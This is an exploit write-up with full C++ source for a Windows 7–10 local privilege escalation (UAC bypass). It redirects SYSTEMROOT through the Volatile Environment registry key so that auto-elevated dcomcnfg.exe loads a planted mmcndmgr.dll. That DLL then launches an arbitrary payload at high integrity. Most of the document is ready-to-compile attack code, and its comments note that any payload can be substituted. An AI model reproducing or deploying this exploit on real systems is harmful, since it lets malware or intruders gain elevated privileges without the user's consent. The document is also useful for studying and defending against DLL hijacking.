Component Services Volatile Environment LPE

28.06.2017
Windows 10 RS3 (16299)
Windows 7-10, x86 and x64
BSD

Description

In dcomcnfg.exe (Component Services), there is a DLL loading vulnerability that can be exploited by injecting an environment variable.

Let's look at dcomcnfg's manifest:

<description>Small utility exe to make it easy
to start "mmc.exe %windir%\system32\comexp.msc"</description>

This also makes it easy to exploit, so thank you for this small utility. This "small and easy" binary executes mmc.exe with high IL and a load attempt to %SYSTEMROOT%\System32\mmcndmgr.dll will be performed from this auto-elevated process.

Redirecting %SYSTEMROOT% can be achieved through Volatile Environment. For this, we set HKEY_CURRENT_USER\Volatile Environment\SYSTEMROOT to a new directory, which we then populate with our hijacked payload DLL, along with *.clb files from C:\Windows\Registration as they are loaded from our new directory as well.

Then, as we execute dcomcnfg.exe, it will load our payload DLL and also the COM+ components. We need to copy those, too, because the process will otherwise crash.

Our DLL is now executed with high IL. In this example, Payload.exe will be started, which is an exemplary payload file displaying a MessageBox.

Code

Stage 1: Executable

#include <string>
#include <Windows.h>
using namespace std;

void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value);
wstring GetTempFolderPath();
wstring GetStartupPath();

int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	// Prepare our working directory that is later assigned to %SYSTEMROOT% through volatile environment
	// We will also use it to put Payload.exe there - Just an example file, can be any arbitrary executable
	wstring systemRoot = GetTempFolderPath() + L"\\ComponentServicesVolatileEnvironmentLPE";
	CreateDirectoryW(systemRoot.c_str(), NULL);
	CreateDirectoryW((systemRoot + L"\\System32").c_str(), NULL);
	CreateDirectoryW((systemRoot + L"\\Registration").c_str(), NULL);

	// Copy all *.clb files from %SYSTEMROOT%\Registration to our new location as they are loaded from there
	WIN32_FIND_DATAW findFileData;
	HANDLE hFind = FindFirstFileW(L"C:\\Windows\\Registration\\*.clb", &findFileData);
	if (hFind != INVALID_HANDLE_VALUE)
	{
		do
		{
			CopyFileW((L"C:\\Windows\\Registration\\" + wstring(findFileData.cFileName)).c_str(), (systemRoot + L"\\Registration\\" + findFileData.cFileName).c_str(), FALSE);
		}
		while (FindNextFileW(hFind, &findFileData));
		FindClose(hFind);
	}

	// This is our DLL that is loaded and then executed as "mmcndmgr.dll"
	CopyFileW((GetStartupPath() + L"\\ComponentServicesInject.dll").c_str(), (systemRoot + L"\\System32\\mmcndmgr.dll").c_str(), FALSE);

	// This is our payload. It can be any executable, but for now we just display a MessageBox with basic information and IL
	CopyFileW((GetStartupPath() + L"\\Payload.exe").c_str(), (systemRoot + L"\\Payload.exe").c_str(), FALSE);

	// HKEY_CURRENT_USER\Volatile Environment\SYSTEMROOT
	// -> This registry value will redirect some DLL loading attempts to the directory we just prepared
	SetRegistryValue(HKEY_CURRENT_USER, L"Volatile Environment", L"SYSTEMROOT", systemRoot);

	// Execute dcomcnfg.exe
	// Continue reading in ComponentServicesInject.cpp
	ShellExecuteW(NULL, L"open", L"dcomcnfg.exe", NULL, NULL, SW_SHOWNORMAL);
	return 0;
}



void SetRegistryValue(HKEY key, wstring path, wstring name, wstring value)
{
	HKEY hKey;

	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
	{
		RegSetValueExW(hKey, name.c_str(), 0, REG_SZ, (BYTE*)value.c_str(), ((DWORD)wcslen(value.c_str()) + 1) * sizeof(wchar_t));
		RegCloseKey(hKey);
	}
}
wstring GetTempFolderPath()
{
	wchar_t path[MAX_PATH];
	GetTempPathW(MAX_PATH, path);
	return wstring(path);
}
wstring GetStartupPath()
{
	wchar_t path[MAX_PATH];
	GetModuleFileNameW(NULL, path, MAX_PATH);
	wstring pathStr = wstring(path);
	return pathStr.substr(0, pathStr.find_last_of(L"/\\"));
}

Stage 2: Injected DLL

#include <string>
#include <Windows.h>
using namespace std;

void DeleteRegistryValue(HKEY key, wstring path, wstring name);
wstring GetTempFolderPath();

bool WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved)
{
	if (fdwReason == DLL_PROCESS_ATTACH)
	{
		// We now run in dcomcnfg.exe with high IL

		// Restore %SYSTEMROOT% immediately
		DeleteRegistryValue(HKEY_CURRENT_USER, L"Volatile Environment", L"SYSTEMROOT");

		// Execute Payload.exe
		// Basically, any payload can be implemented from here on and it doesn't necessarily have to be a separate executable
		// If you can guarantee stability within *this* context, you can also just write down your payload here...
		CreateProcessW((GetTempFolderPath() + L"\\ComponentServicesVolatileEnvironmentLPE\\Payload.exe").c_str(), NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &STARTUPINFOW(), &PROCESS_INFORMATION());

		// Done. thanx dcomcnfg.exe for elevated privileges, no cuddling ->
		ExitProcess(0);
	}

	return true;
}



void DeleteRegistryValue(HKEY key, wstring path, wstring name)
{
	HKEY hKey;

	if (RegOpenKeyExW(key, path.c_str(), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS && hKey != NULL)
	{
		RegDeleteValueW(hKey, name.c_str());
		RegCloseKey(hKey);
	}
}
wstring GetTempFolderPath()
{
	wchar_t path[MAX_PATH];
	GetTempPathW(MAX_PATH, path);
	return wstring(path);
}

Expected Result

When everything worked correctly, Payload.exe should be executed, displaying basic information including integrity level.